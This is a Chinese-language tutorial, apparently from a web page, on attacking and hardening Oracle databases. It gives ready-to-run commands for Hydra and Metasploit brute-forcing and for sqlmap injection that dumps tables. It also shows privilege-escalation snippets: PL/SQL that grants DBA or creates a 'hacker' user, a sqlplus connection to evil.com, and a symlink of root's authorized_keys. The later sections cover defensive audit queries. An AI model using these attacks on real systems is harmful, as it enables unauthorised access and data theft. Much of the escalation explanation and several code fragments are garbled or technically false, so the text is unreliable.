Metasploit框架内置了名为“login_brute”的模块,可以利用字典文件暴力破解Oracle数据库密码,但是使用该工具需要先获得Oracle数据库的用户名。如果你没有获得目标数据库的用户名,可以使用任意一种端口扫描工具扫描出目标机器开放的Oracle监听端口,如nmap,masscan等。
步骤1:开展端口扫描
(资料图片仅供参考)
使用nmap对目标主机进行端口扫描,例如:
nmap -sS -p 1521
步骤2:利用Metasploit进行暴力破解
在Metasploit控制台中使用以下命令设置需要破解的Oracle数据库IP地址、监听端口号、用户名和字典文件路径,然后执行run命令即可开始暴力破解。
use auxiliary/scanner/oracle/oracle_loginset RHOSTS
1.1.2.基于Hydra的暴力破解
Hydra是一款强大的暴力破解工具,可以用来暴力破解多种协议的密码。这里介绍如何使用Hydra进行Oracle数据库密码暴力破解。
步骤1:安装Hydra
在Linux命令行中输入以下命令安装Hydra:
sudo apt-get install hydra
步骤2:基于字典文件的暴力破解
如果已知用户名,可以使用以下命令进行暴力破解,其中USERNAME为目标账户名、PASSWORD_FILE为密码字典文件的路径,IP_ADDRESS为目标机器的IP地址,PORT为目标Oracle数据库的监听端口号。
hydra -L USERNAME -P PASSWORD_FILE IP_ADDRESS -s PORT oracle
步骤3:基于多个用户名的暴力破解
如果不知道目标用户的用户名,可以先使用Metasploit模块进行扫描并获得用户名列表,然后使用Hydra对用户名列表中的所有用户进行暴力破解。使用以下命令进行暴力破解,其中USER_FILE为用户名字典文件的路径,PASSWORD_FILE为密码字典文件的路径,IP_ADDRESS为目标机器的IP地址,PORT为目标Oracle数据库的监听端口号。
hydra -L USER_FILE -P PASSWORD_FILE IP_ADDRESS -s PORT oracle
3.基于Oscanner的漏洞扫描工具
Oscanner是一款功能强大的Oracle漏洞扫描工具,它可以扫描Oracle数据库中存在的安全漏洞和配置错误。使用该工具可以帮助检测Oracle数据库弱口令等安全问题。
步骤1:下载Oscanner
从GitHub上下载Oscanner源代码,并解压到本地。在Linux命令行中输入以下命令:
git clonehttps://github.com/evyatarmeged/Oscanner.git
步骤2:开展漏洞扫描
使用以下命令开展漏洞扫描,其中IP_ADDRESS为目标机器的IP地址,PORT为目标Oracle数据库的监听端口号。
python OScanner.py –ip IP_ADDRESS –p PORT
扫描结果将被输出到屏幕上,并保存到指定的文件中。
1.1.3.基于SQLmap的注入工具SQLmap是一款流行的SQL注入工具,可以用来测试Web应用程序是否存在SQL注入漏洞。在Oracle数据库中,可通过SQL注入漏洞盗取敏感数据,包括用户名和密码等。以下是利用SQLmap进行Oracle数据库注入攻击的步骤:
步骤1:下载SQLmap
从GitHub上下载SQLmap源代码,并解压到本地。在Linux命令行中输入以下命令:
git clonehttps://github.com/sqlmapproject/sqlmap.git
步骤2:开展注入攻击
使用如下命令开始注入攻击,其中IP_ADDRESS为目标机器的IP地址,PORT为目标Oracle数据库的监听端口号。
python sqlmap.py -u "http://IP_ADDRESS:PORT/index.php?id=1" --cookie="PHPSESSID=abcdefg" --level 5 --risk 3 --batch --random-agent --dbs
通过上述命令从目标Oracle数据库中获取所有可用的数据库。
步骤3:获取数据表
使用如下命令获取目标Oracle数据库中的数据表:
python sqlmap.py -u "http://IP_ADDRESS:PORT/index.php?id=1" --cookie="PHPSESSID=abcdefg" --level 5 --risk 3 --batch --random-agent -D DATABASE_NAME --tables
步骤4:获取数据列
使用如下命令获取目标Oracle数据库中数据表的所有列:
python sqlmap.py -u "http://IP_ADDRESS:PORT/index.php?id=1" --cookie="PHPSESSID=abcdefg" --level 5 --risk 3 --batch --random-agent -D DATABASE_NAME -T TABLE_NAME --columns
步骤5:获取数据
使用如下命令获取目标Oracle数据库中的所有数据:
python sqlmap.py -u "http://IP_ADDRESS:PORT/index.php?id=1" --cookie="PHPSESSID=abcdefg" --level 5 --risk 3 --batch --random-agent -D DATABASE_NAME -T TABLE_NAME --dump
将上述命令中的“IP_ADDRESS”、“PORT”、“DATABASE_NAME”和“TABLE_NAME”替换为实际的值即可进行Oracle数据库注入攻击。
1.2一些开源的Oracle管理工具1.2.1PL/SQL DeveloperPL/SQL Developer是一种跨平台的IDE,允许用户开发、测试和调试PL/SQL代码。它包括诸如语法高亮显示、代码折叠、自动完成等功能,并且可与Oracle数据库集成。官方地址:
https://www.allroundautomations.com/products/pl-sql-developer/
1.2.2SQL DeveloperSQL Developer是一种功能强大的跨平台工具,可以与多种数据库管理系统集成,包括Oracle。它支持诸如SQL脚本编辑、数据查询、表和字段管理等功能。此外,还提供了一些有用的插件和扩展。
官方地址:https://www.oracle.com/tools/downloads/sqldev-downloads.html
1.2.3TOraTOra是一种开源的Oracle管理工具,可用于管理Oracle数据库。它支持各种Oracle对象的浏览和编辑,包括表、视图、过程、函数、触发器等。TOra也提供了一些有用的功能,例如SQL查询和编辑、数据导入和导出等。
官方地址:http://tora.sourceforge.net/
1.2.4Oracle SQLclOracle SQLcl是一种跨平台的命令行工具,允许用户执行SQL查询和命令。它包括一些有用的功能,例如语法高亮显示、自动完成和历史记录等,并且可与Oracle数据库集成。
官方地址:https://www.oracle.com/database/technologies/appdev/sqlcl.html
1.2.5Oracle APEXOracle APEX是一种基于Web的开发工具,用于开发和部署企业级应用程序。它使用Oracle数据库作为后端,并提供了一些有用的功能,例如表和字段管理、报告生成、工作流程管理等。Oracle APEX也是一种开放源代码的工具,用户可以免费使用和分发。
官方地址:https://apex.oracle.com/en/
1.3Oracle数据库提权1.3.1Oracle数据库提权主要途径1. 利用无效对象进行提权
在Oracle中,无效对象指的是失效或异常的存储过程、函数、触发器等。攻击者可以通过修改或者篡改其中的无效对象,实现提权目的。
2. 利用数据库连接字符串提权
当连接到Oracle数据库时,如果使用了高权限用户如SYS或SYSTEM,并且在连接字符串中没有明确地指定要访问的具体数据库,则默认会连接到一个叫做“ORCL”或“XE”的测试数据库上。攻击者可以通过构造恶意数据库并伪装成“ORCL”或“XE”,欺骗管理员连接到恶意数据库,并以高权限用户身份执行恶意操作。
3. 利用ORACLE_HOME目录漏洞进行提权
ORACLE_HOME目录是Oracle软件安装的根目录,通常包含各种配置文件、日志文件、库文件等。如果对ORACLE_HOME目录的权限
1.3.2Oracle数据提权参考详细方法及步骤1.利用无效对象进行提权
在Oracle中,无效对象指的是失效或异常的存储过程、函数、触发器等。攻击者可以通过修改或者篡改其中的无效对象,实现提权目的。例如:
CREATE OR REPLACE PROCEDURE pwn ASPRAGMA AUTONOMOUS_TRANSACTION;BEGINEXECUTE IMMEDIATE "GRANT DBA TO attacker";COMMIT;END;/ALTER PROCEDURE pwn COMPILE REUSE SETTINGS;
以下是利用无效对象进行提权的一般步骤:
(1)创建无效对象
攻击者需要创建一个无效的 Oracle 对象并嵌入恶意代码,例如一个无效的存储过程、函数、触发器等。
CREATE OR REPLACE FUNCTION invalid_func (input IN VARCHAR2) RETURN INTEGER ASBEGIN-- 恶意代码EXECUTE IMMEDIATE "CREATE USER hacker IDENTIFIED BY 1234";RETURN 1;END;/
(2)注册无效对象
攻击者需要将无效对象注册到Oracle数据库中。这可以通过运行无效对象来完成。
EXEC invalid_func("test");
如果无效对象中嵌入的恶意代码得到执行,攻击者将创建一个名为“hacker”的新用户。此时,攻击者可以以新用户的身份登陆到数据库并执行任意操作。
(3)提权
已创建的新用户可以用于提升攻击者的权限。例如,可以使用新用户连接到 Oracle 数据库并执行敏感操作,或者利用新用户访问具有高权限的系统资源。
以下是一些参考命令:
创建无效函数
CREATE OR REPLACE FUNCTION invalid_func (input IN VARCHAR2) RETURN INTEGER ASBEGIN-- 恶意代码EXECUTE IMMEDIATE "CREATE USER hacker IDENTIFIED BY 1234";RETURN 1;END;/
注册无效函数
EXEC invalid_func("test");
需要注意的是,为了防止此类攻击,Oracle管理员应该定期检查 Oracle 数据库中的无效对象,并删除可能包含恶意代码的对象。
2.利用数据库连接字符串提权
当连接到Oracle数据库时,如果使用了高权限用户如SYS或SYSTEM,并且在连接字符串中没有明确地指定要访问的具体数据库,则默认会连接到一个叫做“ORCL”或“XE”的测试数据库上。攻击者可以通过构造恶意数据库并伪装成“ORCL”或“XE”,欺骗管理员连接到恶意数据库,并以高权限用户身份执行恶意操作。例如:
sqlplus SYS/password@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=evil.com)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))
以下是利用数据库连接字符串进行提权的一般步骤:
(1)构造恶意数据库
攻击者需要构造一个恶意数据库,并将其伪装成“ORCL”或“XE”。可以使用Oracle官方提供的创建数据库工具或手动创建数据库。
(2)监听端口和服务名称
为了将恶意数据库伪装成“ORCL”或“XE”,需要在监听器中添加服务名称和监听端口。可以通过修改listener.ora文件或通过Oracle Net Manager添加服务名称和监听端口来完成此操作。
(3)模拟Oracle服务器
攻击者需要模拟Oracle服务器,接受管理员的连接请求,并将其重定向到恶意数据库。可以使用Metasploit框架中的Oracle SQL链接跟踪追踪模块实现这一点。
(4)连接到恶意数据库
管理员使用高权限用户如SYS或SYSTEM来连接到Oracle数据库时,如果在连接字符串中没有明确指定要访问的具体数据库,则默认连接到“ORCL”或“XE”测试数据库上。攻击者可以构造一个连接字符串,指定恶意数据库的地址和端口,以欺骗管理员连接到恶意数据库。
例如,以下命令将在主机evil.com上连接到名为ORCL_BACKDOOR的恶意数据库:
sqlplus SYS/password@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=evil.com)(PORT=1521))(CONNECT_DATA=(SID=ORCL_BACKDOOR)))
(5)执行恶意操作
如果连接成功,攻击者将能够以高权限用户身份执行任意恶意操作。例如,可以在Oracle数据库中创建新用户、修改或删除数据库中的数据等。
需要注意的是,Oracle管理员应该在输入任何连接信息之前仔细验证其合法性,尤其是在连接于高权限用户时。另外,为了防止此类攻击,Oracle管理员应该定期检查监听器配置,并配置适当的权限和保护措施。
3.利用ORACLE_HOME目录漏洞进行提权
ORACLE_HOME目录是Oracle软件安装的根目录,通常包含各种配置文件、日志文件、库文件等。如果对ORACLE_HOME目录的权限过高或者存在漏洞,则攻击者可以轻易地获取敏感信息或者利用其中的漏洞进行提权。例如:
ln -s /root/.ssh/authorized_keys $ORACLE_HOME/dbs/init$ORACLE_SID.ora
详细参考步骤如下:
(1)查找ORACLE_HOME目录
可以通过以下命令查找ORACLE_HOME目录:
ps -ef | grep pmon
该命令将显示正在运行的Oracle进程名称和对应的目录,其中ORACLE_HOME为Oracle软件的根目录。
(2)查找可写ORACLE_HOME目录
攻击者需要找到具有写入权限的ORACLE_HOME目录,以便在其中放置恶意程序或修改配置文件。以下命令可用于查找可写的ORACLE_HOME目录:
find / -name "*.ora" -type f -exec ls -l {} \;
该命令将查找所有扩展名为.ora的文件,并列出其所在的目录及权限信息。
(3)放置恶意程序或修改配置文件
攻击者可以将恶意程序放置在可写的ORACLE_HOME目录中,并运行它以获得更高的权限。另外,攻击者还可以修改Oracle的配置文件,以更改数据库实例的配置或执行其他恶意操作。
(4)提升权限并获取敏感信息
通过在可写的ORACLE_HOME目录中放置恶意程序或修改配置文件,攻击者获得了更高的权限。这使得攻击者可以轻松地获取敏感信息,或在Oracle数据库中执行其他有害操作。
需要注意的是,为了防止此类攻击,Oracle管理员应该定期检查ORACLE_HOME目录的权限和安全性,并配置适当的权限和保护措施。
1.4.Oracle数据暴力破解及其他安全检测方法1.4.1暴力破解安全防范方法1.启用账户锁定功能
Oracle 数据库提供了账户锁定功能,可以在用户一定数量的登录失败尝试后自动锁定用户。这可以有效防止攻击者使用暴力破解工具进行破解:
ALTER PROFILE default LIMIT FAILED_LOGIN_ATTEMPTS 3 PASSWORD_LOCK_TIME 1;
2.配置访问控制列表(ACL)
ACL 可以限制特定 IP 地址或网络的访问,防止攻击者使用暴力破解工具对 Oracle 数据库进行攻击:
BEGINDBMS_NETWORK_ACL_ADMIN.CREATE_ACL (acl => "acl.xml",description => "ACL for example.com",principal => "EXAMPLE.COM",is_grant => TRUE,privilege => "connect",start_date => SYSTIMESTAMP,end_date => NULL);COMMIT;END;/
3.更改默认端口
默认情况下,Oracle 数据库使用 1521 端口进行通信。攻击者可以使用端口扫描工具来探测并攻击该端口。因此,管理员应该将默认端口更改为其他端口:
ALTER SYSTEM SET LOCAL_LISTENER = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=hostname)(PORT=port)))";
3.启用登录审计
启用登录审计可以记录用户登录数据库的详细信息,包括时间、IP 地址和失败尝试次数等。这可以帮助管理员及时发现并应对暴力破解攻击:
AUDIT SESSION WHENEVER NOT SUCCESSFUL;
1.4.2其他安全检测方法
1.定期检查 Oracle 数据库中的无效对象
攻击者通常会利用无效对象进行提权。因此,Oracle 管理员应该定期检查 Oracle 数据库中是否有无效对象,并删除可能包含恶意代码的对象:
SELECT owner, object_name, object_type, statusFROM dba_objectsWHERE status = "INVALID";
2.检查特权用户的密码强度
特权用户如 SYS 或 SYSTEM 用户帐户对 Oracle 数据库具有特殊权限,攻击者通常会尝试使用默认或弱密码来破解这些账户。因此,管理员应该确保特权用户的密码足够强大,并定期更改密码:
SELECT username, account_status FROM dba_users WHERE username IN ("SYS", "SYSTEM");
3.检查连接字符串参数
Oracle 连接字符串中的参数可以影响数据库的安全性。管理员应该检查参数值是否正确,并限制访问级别:
SELECT name, value FROM v$parameter WHERE name IN ("remote_login_passwordfile", "audit_sys_operations", "os_authent_prefix");
4.检查监听器配置
监听器是 Oracle 数据库的入口点,攻击者可以通过监听器进行入侵。管理员应该检查监听器的配置,确保其安全性:
lsnrctl status
5.检查数据库日志
管理员应该检查数据库日志以获取有关可能的安全漏洞和入侵活动的信息:
SELECT to_char(timestamp, "YYYY-MM-DD HH24:MI:SS"), username, action_name, object_name, sql_textFROM dba_audit_trailWHERE audit_timestamp > SYSDATE - 1;
6.检查角色权限
攻击者可以利用角色权限进行提权,因此管理员应该检查角色的权限配置,并删除不必要的权限:
SELECT grantee, privilege, admin_option FROM dba_sys_privs WHERE grantee IN (SELECT DISTINCT granted_role FROM dba_role_privs);
7.检查用户权限
攻击者可以通过某些用户权限进行提权。管理员应该检查用户的权限配置,并删除不必要的权限:
SELECT grantee, granted_role, admin_option FROM dba_role_privs WHERE grantee IN (SELECT DISTINCT username FROM dba_users);
8.检查用户自定义函数
攻击者可以通过用户自定义函数进行提权。管理员应该检查用户自定义函数的源码,以确保其安全性:
SELECT owner, name, type, text FROM dba_source WHERE type = "FUNCTION" AND line = 1 ORDER BY owner, name, type;
9.检查安全警报日志
Oracle 提供了一个安全警报框架,可以监测和记录各种安全事件。管理员应该检查安全警报日志以侦测潜在的安全威胁:
SELECT * FROM dba_audit_object WHERE owner = "SYS" AND object_name LIKE "TBS%";
1.5Oracle安全审计开源工具1.5.1Oracle Password Auditor (OPA)
功能:用于检查 Oracle 数据库中的弱口令,常见口令和安全策略是否得到正确实施。
下载地址:https://www.slac.stanford.edu/xorg/nmtf/nmtf-tools-opa.html
使用步骤和命令:
●下载 OPA 工具并解压缩它。
●打开命令提示符或终端窗口,并切换到 OPA 的目录。
●输入以下命令以启动 OPA 工具:
opa.exe -u
您还可以通过添加其他参数来自定义扫描设置,如下所示:
opa.exe -u
运行完命令后,请等待扫描完成,该工具将生成一个 HTML 报告,其中包含您查询的所有信息。
1.5.2Oracle E-Business Suite Password Audit功能:用于检查 Oracle EBS 中的弱口令、常见口令和过期口令,以保护 Oracle EBS 应用程序的安全性。
下载地址:https://www.oracle.com/technetwork/apps-tech/security-ebs-password-audit-129472.pdf
使用步骤:
●下载 Oracle EBS 密码审计工具并安装它。
●打开工具并输入您的 Oracle EBS 应用程序的连接信息,然后单击“扫描”按钮。
工具将自动执行密码扫描并生成报告。您可以查看报告并按照其建议修复密码问题。
1.5.3Oracle Password Cracker功能:用于破解 Oracle 数据库用户的密码。
下载地址:https://sourceforge.net/projects/oraclepwdcracker/
使用步骤和命令:
●确定您要破解的 Oracle 数据库用户名。
●下载并安装 Oracle Password Cracker 工具。
●打开命令提示符或终端窗口,并切换到 Oracle Password Cracker 的目录。
●根据以下命令格式运行工具:
orapwdcrack.exe -u
工具将尝试使用给定的字典文件破解密码,并在成功时输出密码。
1.5.4OraPwdCrack功能:用于使用 GPU 加速破解 Oracle 数据库密码。
下载地址:https://github.com/milo2012/orapwdcrack
使用步骤和命令:
●确保计算机安装了适当的 NVIDIA 或 AMD 显卡驱动程序和 CUDA 或 OpenCL 环境。
●下载 OraPwdCrack 工具并解压缩它。
●打开命令提示符或终端窗口,并切换到 OraPwdCrack 的目录。
●根据以下命令格式运行工具:
orapwddump.exe User@Host:Port ServiceName [
根据需要修改命令参数,如 CUDA/OpenCL 设备编号、特殊选项等。
工具将尝试使用 GPU 加速破解密码,并在成功时输出密码。
1.5.5PWDumpX功能:用于提取 Oracle 用户的哈希密码。
下载地址:https://www.tarasco.org/security/pwdumpx.htm
使用步骤和命令:
●确定您要提取其哈希密码的 Oracle 用户名。
●下载 PWDumpX 工具并解压缩它。
●打开命令提示符或终端窗口,并切换到 PWDumpX 的目录。
●根据以下命令格式运行工具:
pwdumpx.exe -u
工具将提取您指定的用户名的哈希密码,并在命令行窗口中输出它们。
1.5.6Oracle Security Check Tool (OSCT)功能:用于检查 Oracle 数据库中的安全问题,如弱口令、未授权访问等。
下载地址:https://www.oracle.com/technetwork/security/testout-oracle-security-check-tool-130994.pdf
使用步骤:
●下载和安装 Oracle Security Check Tool(OSCT)。
●打开工具并输入您的 Oracle 数据库凭据和连接信息,然后单击“扫描”按钮。
●工具会自动执行安全扫描并生成报告。您可以根据报告中提供的建议来修复数据库中的安全问题。
标签: